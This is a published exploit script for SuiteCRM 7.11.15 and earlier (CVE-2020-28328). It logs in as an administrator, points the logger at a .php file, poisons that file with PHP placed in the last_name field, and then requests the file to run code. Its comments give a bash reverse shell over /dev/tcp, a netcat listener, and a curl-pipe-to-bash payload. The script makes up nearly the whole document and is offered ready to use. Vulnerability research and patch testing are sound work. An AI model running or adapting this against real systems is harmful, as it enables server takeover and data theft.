1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated) # Date: 08 NOV 2020 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage: https://suitecrm.com/ # Software Link: https://github.com/salesagility/SuiteCRM # Version: 7.11.15 and below # Tested on: Ubuntu 20.04 LTS # CVE: CVE-2020-28328 # Writeup: https://github.com/mcorybillington/SuiteCRM-RCE from requests import Session from random import choice from string import ascii_lowercase url = "http://127.0.0.1/"# URL to remote host web root post_url = "{url}index.php".format(url=url) user_name = "admin"# User must be an administrator password = "admin" prefix = 'shell-' file_name = '{prefix}{rand}.php'.format( prefix=prefix, rand=''.join(choice(ascii_lowercase) for _ in range(6)) ) # *Recommend K.I.S.S as some characters are escaped* # Example for reverse shell: # Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh # Stand up a python web server <code>python -m http.server 80</code> hosting shell.sh # Set a nc listener to catch the shell 'nc -nlvp 8080' command = '<?php <code>curl -s http://127.0.0.1/shell.sh | bash</code>; ?>'.format(fname=file_name) # Admin login payload login_data = { "module": "Users", "action": "Authenticate", "return_module": "Users", "return_action": "Login", "user_name": user_name, "username_password": password, "Login": "Log+In" } # Payload to set logging to 'info' and create a log file in php format. modify_system_settings_data = { "action": (None, "SaveConfig"), "module": (None, "Configurator"), "logger_file_name": (None, file_name),# Set file extension in the file name as it isn't checked here "logger_file_ext": (None, ''),# Bypasses file extension check by just not setting one. "logger_level": (None, "info"),# This is important for your php code to make it into the logs "save": (None, "Save") } # Payload to put php code into the malicious log file poison_log = { "module": (None, "Users"), "record": (None, "1"), "action": (None, "Save"), "page": (None, "EditView"), "return_action": (None, "DetailView"), "user_name": (None, user_name), "last_name": (None, command), } # Payload to restore the log file settings to default after the exploit runs restore_log = { "action": (None, "SaveConfig"), "module": (None, "Configurator"), "logger_file_name": (None, "suitecrm"),# Default log file name "logger_file_ext": (None, ".log"),# Default log file extension "logger_level": (None, "fatal"),# Default log file setting "save": (None, "Save") } # Start of exploit with Session() as s: # Authenticating as the administrator s.get(post_url, params={'module': 'Users', 'action': 'Login'}) print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID']) s.post(post_url, data=login_data) if 'ck_login_id_20' not in s.cookies.get_dict().keys(): print('[-] Invalid password for: {user}'.format(user=user_name)) exit(1) print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format( user=user_name, cookie=s.cookies.get_dict()['PHPSESSID']) ) # Modify the system settings to set logging to 'info' and create a log file in php format print('[+] Modifying log level and log file name.') print('[+] File name will be: {fname}'.format(fname=file_name)) settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)} s.post(post_url, headers=settings_header, files=modify_system_settings_data) # Post to update the administrator's last name with php code that will poison the log file print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command)) command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)} s.post(url, headers=command_header, files=poison_log) # May be a good idea to put a short delay in here to allow your code to make it into the logfile. # Up to you though... # Do a get request to trigger php code execution. print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name)) execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1) if not execute_command.ok: print('[-] Exploit failed, sorry... Might have to do some modifications.') # Restoring log file to default print('[+] Setting log back to defaults') s.post(post_url, headers=settings_header, files=restore_log) print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name)) |